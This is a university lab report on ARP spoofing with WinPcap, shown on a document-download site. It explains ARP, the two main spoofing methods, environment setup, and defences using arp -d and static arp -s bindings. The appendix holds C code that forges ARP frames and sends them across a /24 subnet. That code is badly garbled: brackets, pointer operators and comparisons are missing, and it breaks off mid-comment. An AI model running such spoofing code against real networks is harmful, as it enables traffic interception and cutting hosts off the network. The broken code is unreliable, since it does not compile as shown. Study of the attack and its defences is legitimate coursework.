ImageVerifierCode 换一换
格式:DOCX , 页数:12 ,大小:65.50KB ,
资源ID:6049759      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bdocx.com/down/6049759.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(Windows网络编程实验六基于WinPcap的ARP欺骗实验.docx)为本站会员(b****6)主动上传,冰豆网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰豆网(发送邮件至service@bdocx.com或直接QQ联系客服),我们立即给予删除!

Windows网络编程实验六基于WinPcap的ARP欺骗实验.docx

1、Windows网络编程实验六 基于WinPcap的ARP欺骗实验网络程序设计实验报告 实验名称: 基于WinPcap的ARP欺骗实验_实验类型:_设计型实验_ _指导教师:_ _ _专业班级:_ _姓 名:_ _ _学 号:_ _电子邮件:_ _实验地点:_ _实 验 日 期: 年 月 日实验成绩:_ 一、实验目的掌握WinPcaP的安装和配置;掌握ARP协议工作原理和格式;掌握WinPcap发包程序的编写;掌握防范ARP地址欺骗的方法和措施;了解常用抓包软件,Wireshark、SnifferPro等网络包分析软件的使用二、实验设计1.背景知识ARP原理ARP协议:ARP,全称Address

2、ResolutionProtocol,中文名为地址解析协议,它工作在数据链路层,在本层和硬件接口联系,同时对上层提供服务。IP数据包常通过以太网发送,以太网设备并不识别32位IP地址,它们是以48位以太网地址传输以太网数据包。因此,必须把IP目的地址转换成以太网目的地址。这个过程称为地址解析,用于将IP地址解析成硬件地址的协议就被称为地址解析协议(ARP协议)。即ARP协议用于将网络中的IP地址解析为的硬件地址(MAC地址),以保证通信的顺利进行,这个过程是动态、自动完成且对用户是透明的。(1)ARP报头结构ARP报头结构,如上图所示。硬件类型字段:指明了发送方想知道的硬件接口类型,以太网的值

3、为1;协议类型字段:指明了发送方提供的高层协议类型,IP为0800(16进制);硬件地址长度和协议长度:指明了硬件地址和高层协议地址的长度,这样ARP报文就可以在任意硬件和任意协议的网络中使用;操作字段:用来表示这个报文的类型,ARP请求为1,ARP响应为2,RARP请求为3,RARP响应为4;发送方的硬件地址(0-3字节):源主机硬件地址的前3个字节;发送方的硬件地址(4-5字节):源主机硬件地址的后3个字节; 发送方IP(0-1字节):源主机硬件地址的前2个字节; 发送方IP(2-3字节):源主机硬件地址的后2个字节; 目的硬件地址(0-1字节):目的主机硬件地址的前2个字节; 目的硬件地

4、址(2-5字节):目的主机硬件地址的后4个字节; 目的IP(0-3字节):目的主机的IP地址。(2).ARP工作原理 ARP的工作原理如下: .首先,每台主机都会在自己的ARP缓冲区 (ARP Cache)中建立一个 ARP列表,以表示IP地址和MAC地址的对应关系。 当源主机需要将一个数据包要发送到目的主机时,会首先检查自己 ARP列表中是否存在该 IP地址对应的MAC地址,如果有就直接将数据包发送到这个MAC地址;如果没有,就向本地网段发起一个ARP请求的广播包,查询此目的主机对应的MAC地址。此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。 网络中所有的主机收

5、到这个ARP请求后,会检查数据包中的目的IP是否和自己的IP地址一致。如果不相同就忽略此数据包;如果相同,该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已经存在该IP的信息,则将其覆盖,然后给源主机发送一个 ARP响应数据包,告诉对方自己是它需要查找的MAC地址; 源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息开始数据的传输。如果源主机一直没有收到ARP响应数据包,表示ARP查询失败。 (3)ARP地址欺骗的原理 ARP 欺骗分两种,一种是对路由器 ARP 表的欺骗;另一种是对内网 PC 的网关欺

6、骗。第一种 ARP 欺骗的原理是截获网关数据。它通知路由器一系列错误的内网 MAC 地址,并按照一定的频率不断的更新学习进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送错误的 MAC 地址,造成正常的 PC 无法收到信息。第二种 ARP 欺骗原理是通过交换机的 MAC 地址学习机制,伪造网关。它的原理是建立假的网关,让被它欺骗的 PC 向假网关发送数据,而不是通过正常的路由器或交换途径寻找网关,造成在同一网关的所有 PC 无法访问网络。 2.实验内容1、下载并安装最新的WinPcap安装程序,在开发环境中进行正确配置。2、根据ARP欺骗原理,设计网管欺骗程序的编写

7、流程,编写代码实现对内网PC的进行欺骗。3、(选做)实现ARP双向欺骗。3.实验步骤(1)安装配置构造网络数据包环境 WinPcap的安装Winpcap为win32应用成程序提供访问网络底层的能力,在使用基于winpcap的抓包工具是需要先安装Winpcap(wireshark会自带安装最新版本),下载winpcap_4_0_2.exe安装,另外,若需要设计相应的开发,可以下载相应的wpdpcak开发包文件。并在VC+中添加好相应INCLUDE和LIB。具体步骤是:选择工具选项目录下的INCLUDEFILES和LIBRARYFILES中添加:安装Libnet首先将下载的Libnet开发包解压缩

8、,生成一个文件夹Libnet_1.1.2.1,把所有文件拷到一个盘符下,在LIBNET下的文件夹win32,双击文件libnet.dsw导入到visualC+工作空间。此时可以对Libnet进行编译,但在libnet用到wincryptAPI函数,所以必须加上库中文件advapi32.lib。具体步骤是:选择:工程设置连接:在对象/苦模块中加入(wsock32.lib是windows中需要掉要其他网络函数所必须加入的)安装PSDK在官网上下载PSDK相关的文件,应该有十七个,其中包括16个PSDK-FULL.CAB文件和一个EXE文件,在执行EXE后会生成一个PSDK-FULL.BAT和一个E

9、XTRACT.EXE文件,此时需要到命令行中执行PSDK-FULL.BAT,便可以一次性将16个CAB解压(如果是自己手动解压,注意要将所有的解压文件放入同一个文件夹下,同时要注意解压的层次。否则会报错)(2)构造ARP应答欺骗包源程序三、实验过程(包含实验结果)1. 安装配置构造网络数据包环境。2. 构造ARP应答欺骗包源程序3.调制好程序实现ARP欺骗。四、讨论与分析如何防止ARP欺骗 ?清空ARP缓存:大家可能都曾经有过使用ARP的指令法解决过ARP欺骗问题,该方法是针对ARP欺骗原理进行解决的。一般来说ARP欺骗都是通过发送虚假的MAC地址与IP地址的对应ARP数据包来迷惑网络设备,用

10、虚假的或错误的MAC地址与IP地址对应关系取代正确的对应关系。若是一些初级的ARP欺骗,可以通过ARP的指令来清空本机的ARP缓存对应关系,让网络设备从网络中重新获得正确的对应关系,具体解决过程如下:第一步:通过点击桌面上任务栏的“开始”-“运行”,然后输入cmd后回车,进入cmd(黑色背景)命令行模式;第二步:在命令行模式下输入arp -a命令来查看当前本机储存在本地系统ARP缓存中IP和MAC对应关系的信息;第三步:使用arp -d命令,将储存在本机系统中的ARP缓存信息清空,这样错误的ARP缓存信息就被删除了,本机将重新从网络中获得正确的ARP信息,达到局域网机器间互访和正常上网的目的。

11、如果是遇到使用ARP欺骗工具来进行攻击的情况,使用上述的方法完全可以解决。但如果是感染ARP欺骗病毒,病毒每隔一段时间自动发送ARP欺骗数据包,这时使用清空ARP缓存的方法将无能为力了。下面将接收另外一种,可以解决感染ARP欺骗病毒的方法。2、指定ARP对应关系:其实该方法就是强制指定ARP对应关系。由于绝大部分ARP欺骗病毒都是针对网关MAC地址进行攻击的,使本机上ARP缓存中存储的网关设备的信息出现紊乱,这样当机器要上网发送数据包给网关时就会因为地址错误而失败,造成计算机无法上网。第一步:我们假设网关地址的MAC信息为00-14-78-a7-77-5c,对应的IP地址为192.168.2.

12、1。指定ARP对应关系就是指这些地址。在感染了病毒的机器上,点击桌面-任务栏的“开始”-“运行”,输入cmd后回车,进入cmd命令行模式;第二步:使用arp -s命令来添加一条ARP地址对应关系, 例如arp -s 192.168.2.1 00-14-78-a7-77-5c命令。这样就将网关地址的IP与正确的MAC地址绑定好了,本机网络连接将恢复正常了;第三步:因为每次重新启动计算机的时候,ARP缓存信息都会被全部清除。所以我们应该把这个ARP静态地址添加指令写到一个批处理文件(例如:bat)中,然后将这个文件放到系统的启动项中。当程序随系统的启动而加载的话,就可以免除因为ARP静态映射信息丢

13、失的困扰了。五、实验者自评(从实验设计、实验过程、对实验知识点的理解上给出客观公正的自我评价)通过这次实验,我了解了ARP欺骗的原理,掌握了ARP 的安装以及环境配置。学会了通过调用不同的动态链接和函数实现伪造不同的协议包,达到网络入侵的目的,同时在网络安全方面也有了更多的认识,懂得如何使用静态MAC映射,软件防御相应的ARP攻击。同时。通过自己的设想变成实现了对APR映射表的保护。六、附录:关键代码(给出适当注释,可读性高)#define _W64#define HAVE_REMOTE#include pcap.h#define ETHERTYPE_IP 0x0800#define ETHE

14、RTYPE_ARP 0x0806typedef struct _ETHeader / 14字节的以太头 UCHAR dhost6; / 目的MAC地址destination mac address UCHAR shost6; / 源MAC地址source mac address USHORT type; / 下层协议类型,如IP(ETHERTYPE_IP)、ARP(ETHERTYPE_ARP)等 ETHeader, *PETHeader;#define ARPHRD_ETHER 1/ ARP协议opcodes#define ARPOP_REQUEST 1 / ARP 请求 #define AR

15、POP_REPLY 2 / ARP 响应typedef struct _ARPHeader / 28字节的ARP头 USHORT hrd; / 硬件地址空间,以太网中为ARPHRD_ETHER USHORT eth_type; / 以太网类型,ETHERTYPE_IP ? UCHAR maclen; / MAC地址的长度,为6 UCHAR iplen; / IP地址的长度,为4 USHORT opcode; / 操作代码,ARPOP_REQUEST为请求,ARPOP_REPLY为响应 UCHAR smac6; / 源MAC地址 UCHAR saddr4; / 源IP地址 UCHAR dmac6

16、; / 目的MAC地址 UCHAR daddr4; / 目的IP地址 ARPHeader, *PARPHeader;/* 4 bytes IP address */typedef struct ip_address u_char byte1; u_char byte2; u_char byte3; u_char byte4;ip_address;/* IPv4 header */typedef struct ip_header u_char ver_ihl; / Version (4 bits) + Internet header length (4 bits) u_char tos; / T

17、ype of service u_short tlen; / Total length u_short identification; / Identification u_short flags_fo; / Flags (3 bits) + Fragment offset (13 bits) u_char ttl; / Time to live u_char proto; / Protocol u_short crc; / Header checksum ip_address saddr; / Source address ip_address daddr; / Destination ad

18、dress u_int op_pad; / Option + Paddingip_header;/* UDP header*/typedef struct udp_header u_short sport; / Source port u_short dport; / Destination port u_short len; / Datagram length u_short crc; / Checksumudp_header;/* prototype of the packet handler */void packet_handler(u_char *param, const struc

19、t pcap_pkthdr *header, const u_char *pkt_data);/回调函数int main()pcap_if_t *alldevs;/获取到的设备列表pcap_if_t *d;/指向的一个网络设备int inum;/保存用户选择的用于捕获数据的网络适配器编号int i=0;pcap_t *adhandle;/用于捕获数据的Winpcap会话句柄char errbufPCAP_ERRBUF_SIZE;/错误缓冲区 u_int netmask;char packet_filter = arp;struct bpf_program fcode;/bpf过滤代码结构 /R

20、etrieve the device list 获得设备列表 if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) = -1)/pcap_findalldevs_ex 获得本地计算机上所有的网络设备列表设备列表 fprintf(stderr,Error in pcap_findalldevs: %sn, errbuf);/fprintf() 打印每个网络设备的信息 exit(1); /* Print the list */ for(d=alldevs; d; d=d-next) printf(%d. %s, +i

21、, d-name); if (d-description) printf( (%s)n, d-description); else printf( (No description available)n); if(i=0) printf(nNo interfaces found! Make sure WinPcap is installed.n); return -1; printf(Enter the interface number (1-%d):,i); scanf(%d, &inum); if(inum i) printf(nInterface number out of range.

22、n); /* Free the device list */ pcap_freealldevs(alldevs);/释放网络设备链表 return -1; /跳转到已选设备 for(d=alldevs, i=0; inext, i+); /* 打开适配器 */ if ( (adhandle= pcap_open(d-name, / name of the device 设备名 65536, / portion of the packet to capture. 要捕获的数据包的部分 / 65536 grants that the whole packet will be captured on

23、 all the MACs.65536保证能捕获到不同数据链路层上的每个数据包上的全部内容 PCAP_OPENFLAG_PROMISCUOUS, / promiscuous mode 混杂模式 1000, / read timeout 读取超时时间 NULL, / remote authentication 远程机器验证 errbuf / error buffer ) ) = NULL) fprintf(stderr,nUnable to open the adapter. %s is not supported by WinPcapn); /* Free the device list */

24、 pcap_freealldevs(alldevs); return -1; /* Check the link layer. We support only Ethernet for simplicity. */ if(pcap_datalink(adhandle) != DLT_EN10MB)/pcap_datalink检查数据链路层 fprintf(stderr,nThis program works only on Ethernet networks.n); /* Free the device list */ pcap_freealldevs(alldevs); return -1;

25、 if(d-addresses != NULL) /* Retrieve the mask of the first address of the interface */ netmask=(struct sockaddr_in *)(d-addresses-netmask)-sin_addr.S_un.S_addr; else /* If the interface is without addresses we suppose to be in a C class network */ netmask=0xffffff; /compile the filter if (pcap_compi

26、le(adhandle, &fcode, packet_filter, 1, netmask) 0 ) fprintf(stderr,nUnable to compile the packet filter. Check the syntax.n); /* Free the device list */ pcap_freealldevs(alldevs); return -1; /set the filter if (pcap_setfilter(adhandle, &fcode)description); /发送arp包 u_char ucFrame100; / 设置Ethernet头 u_

27、char arDestMac6=0xff,0xff,0xff,0xff,0xff,0xff; u_char arSourceMac6=0x00,0x1F,0x16,0x26,0x33,0xF8; ETHeader eh = 0 ; memcpy(eh.dhost, arDestMac, 6);/memcpy内存拷贝函数,从源src所指的内存地址的起始位置开始拷贝n个字节到目标dest所指的内存地址的起始位置中 memcpy(eh.shost, arSourceMac, 6); eh.type = :htons(ETHERTYPE_ARP); memcpy(ucFrame, &eh, sizeo

28、f(eh); / 设置Arp头 ARPHeader ah = 0 ; ah.hrd = htons(ARPHRD_ETHER); ah.eth_type = htons(ETHERTYPE_IP); ah.maclen = 6; ah.iplen = 4; ah.opcode = htons(ARPOP_REQUEST); ULONG32 sIPAddr=inet_addr(192.168.250.188); ULONG32 dIPAddr=inet_addr(192.168.250.1); memcpy(ah.smac, arSourceMac, 6); memcpy(ah.saddr, &

29、sIPAddr, 4); memcpy(ah.dmac, arDestMac, 6); memcpy(ah.daddr, &dIPAddr, 4); int n=255; while(n) char str100; sprintf(str,192.168.4.%d,n); dIPAddr=inet_addr(str); memcpy(ah.daddr, &dIPAddr, 4); memcpy(&ucFramesizeof(ETHeader), &ah, sizeof(ah); if (pcap_sendpacket(adhandle, ucFrame, 42) != 0) fprintf(stderr,nError sending the packet: %sn, pcap_geterr(adhandle);/pcap_geterr获取错误消息 return 3; n=n-1; /* At this point, we don't need any mor

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1